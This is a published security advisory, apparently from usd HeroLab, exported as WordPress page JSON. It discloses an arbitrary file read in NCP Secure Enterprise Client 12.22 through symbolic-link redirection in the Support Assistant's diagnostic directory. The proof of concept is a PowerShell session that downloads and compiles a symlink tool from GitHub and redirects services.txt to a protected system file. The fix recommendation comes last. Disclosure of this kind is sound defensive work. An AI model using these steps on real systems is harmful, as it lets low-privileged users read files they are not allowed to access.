{"id":19530,"date":"2022-08-31T16:52:00","date_gmt":"2022-08-31T14:52:00","guid":{"rendered":"https:\/\/herolab.usd.de\/usd-2022-0003\/"},"modified":"2023-03-03T12:54:12","modified_gmt":"2023-03-03T11:54:12","slug":"usd-2022-0003","status":"publish","type":"page","link":"https:\/\/herolab.usd.de\/en\/security-advisories\/usd-2022-0003\/","title":{"rendered":"usd-2022-0003"},"content":{"rendered":"

[et_pb_section fb_built=\"1\" _builder_version=\"4.17.1\" _module_preset=\"default\" background_color=\"#2E353D\" custom_padding=\"||0px|||\" hover_enabled=\"0\" global_colors_info=\"{}\" sticky_enabled=\"0\"][et_pb_row _builder_version=\"4.16\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_column type=\"4_4\" _builder_version=\"4.16\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_text _builder_version=\"4.17.4\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\" global_colors_info=\"{}\"]<\/p>\n

<\/h1>\n

usd-2022-0003 | NCP Secure Enterprise Client - Arbitrary File Read<\/h1>\n

Advisory ID:<\/strong> usd-2022-0003
Product:<\/strong> NCP Secure Enterprise Client
Affected Version:<\/strong> 12.22
Vulnerability Type:<\/strong> Arbitrary File Read
Security Risk:<\/strong> High
Vendor URL:<\/strong>\u00a0https\/\/www.ncp-e.com\/
Vendor Status:<\/strong> Fixed<\/p>\n

Introduction<\/h3>\n

The NCP Secure Enterprise<\/em> client is a VPN<\/em> and networking application that is utilized by many organisations to connect workstations
to the cooperate network. The client supports a Support Assistant<\/em> feature, which allows low privileged user accounts to obtain diagnostic
information from the operating system. After the corresponding information was collected, users can inspect the contents of the collected
files within the graphical user interface of the NCP<\/em> application. Despite the graphical user interface runs with the permissions of the
current user, inspecting a diagnostic file causes a high privileged service to read the contents of it. After reading, the contents are send to
the graphical user interface of the NCP<\/em> application and displayed to the invoking user.<\/p>\n

After the Support Assistant<\/em> has collected the diagnostic files, they are stored within the directory C:\\Users\\\\AppData\\Local\\Temp\\NcpSupport*<\/em>.
This is also the directory where the high privileged service obtains the file contents from when files are inspected within the graphical
user interface. Since the directory is fully user controlled, low privileged users can use a <\/em>symbolic link* to redirect the read operation to
an arbitrary target.<\/p>\n

Proof of Concept<\/h3>\n

The first step is to start the Support Assistant<\/em> within the tray icon of the NCP Secure Enterprise<\/em> client. The corresponding function
can be found in the upper right of the graphical user interface under the Help<\/em> menu. After the Support Assistant<\/em> has collected the
diagnostic information, the corresponding files are displayed within the graphical user interface:<\/p>\n

\"\"<\/p>\n

Now it is possible to replace one of the files with a symbolic link<\/em> to an arbitrary target. In the following listing we replace the
file C:\\Users\\\\AppData\\Local\\Temp\\NCPSupport\\services.txt<\/strong> with a symbolic link<\/em> pointing to C:\\Windows\\CCM\\CcmEval.xml<\/strong>.
Moreover, we demonstrate that the target file is not readable for a low privileged user account:<\/p>\n

\n
<\/span>PS <\/span>C<\/span>:\\><\/span> type <\/span>C<\/span>:\\<\/span>Windows<\/span>\\<\/span>CCM<\/span>\\<\/span>CcmEval<\/span>.<\/span>xml<\/span>
type <\/span>:<\/span> Der<\/span> Zugriff<\/span> auf<\/span> den<\/span> Pfad<\/span> \"C:\\Windows\\CCM\\CcmEval.xml\"<\/span> wurde<\/span> verweigert<\/span>.<\/span>
In<\/span> Zeile<\/span>:<\/span>1<\/span> Zeichen<\/span>:<\/span>1<\/span>
+<\/span> type <\/span>C<\/span>:\\<\/span>Windows<\/span>\\<\/span>CCM<\/span>\\<\/span>CcmEval<\/span>.<\/span>xml<\/span>
+<\/span> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<\/span>    +<\/span> CategoryInfo<\/span>          :<\/span> PermissionDenied<\/span>:<\/span> (<\/span>C<\/span>:\\<\/span>Windows<\/span>\\<\/span>CCM<\/span>\\<\/span>CcmEval<\/span>.<\/span>xml<\/span>:<\/span>String<\/span>)<\/span> [<\/span>Get-Content<\/span>],<\/span> UnauthorizedAccessException<\/span>    +<\/span> FullyQualifiedErrorId<\/span> :<\/span> GetContentReaderUnauthorizedAccessError<\/span>,<\/span>Microsoft<\/span>.<\/span>PowerShell<\/span>.<\/span>Commands<\/span>.<\/span>GetContentCommand<\/span>PS <\/span>C<\/span>:\\><\/span> $code<\/span> =<\/span> (<\/span>iwr <\/span>https<\/span>:\/\/<\/span>raw<\/span>.<\/span>githubusercontent<\/span>.<\/span>com<\/span>\/<\/span>usdAG<\/span>\/<\/span>SharpLink<\/span>\/<\/span>main<\/span>\/<\/span>SharpLink<\/span>.<\/span>cs<\/span>).<\/span>content<\/span>
PS <\/span>C<\/span>:\\><\/span> Add-Type<\/span> $code<\/span>
PS <\/span>C<\/span>:\\><\/span> $s<\/span> =<\/span> New-Object<\/span> de<\/span>.<\/span>usd<\/span>.<\/span>SharpLink<\/span>.<\/span>Symlink<\/span>(<\/span>\"C:\\Users\\<USER>\\AppData\\Local\\Temp\\NCPSupport\\services.txt\"<\/span>,<\/span> \"C:\\Windows\\CCM\\CcmEval.xml\"<\/span>)<\/span>
PS <\/span>C<\/span>:\\><\/span> $s<\/span>.<\/span>Open<\/span>()<\/span>
[+]<\/span> Creating<\/span> Junction<\/span>:<\/span> C<\/span>:\\<\/span>Users<\/span>\\<<\/span>USER<\/span>>\\<\/span>AppData<\/span>\\<\/span>Local<\/span>\\<\/span>Temp<\/span>\\<\/span>NCPSupport<\/span> -><\/span> \\<\/span>RPC<\/span> CONTROL<\/span>
[+]<\/span> Creating<\/span> DosDevice<\/span>:<\/span> Global<\/span>\\<\/span>GLOBALROOT<\/span>\\<\/span>RPC<\/span> CONTROL<\/span>\\<\/span>services<\/span>.<\/span>txt<\/span> -><\/span> \\??\\<\/span>C<\/span>:\\<\/span>Windows<\/span>\\<\/span>CCM<\/span>\\<\/span>CcmEval<\/span>.<\/span>xml<\/span>
[+]<\/span> Symlink<\/span> setup<\/span> successfully<\/span>.<\/span><\/pre>\n<\/div>\n
Now it is time to inspect the file services.txt<\/strong> within the Support Assistant<\/em> graphical user interface.
Clicking the corresponding file twice shows the contents of the targeted file:<\/p>\n
\"\"<\/p>\n
Fix<\/h3>\n
It is not evident why a high privileged service is used to display the obtained diagnostic information. The read operation
should be performed by the low privileged process instead, which also draws the graphical user interface.<\/p>\n
References<\/h3>\n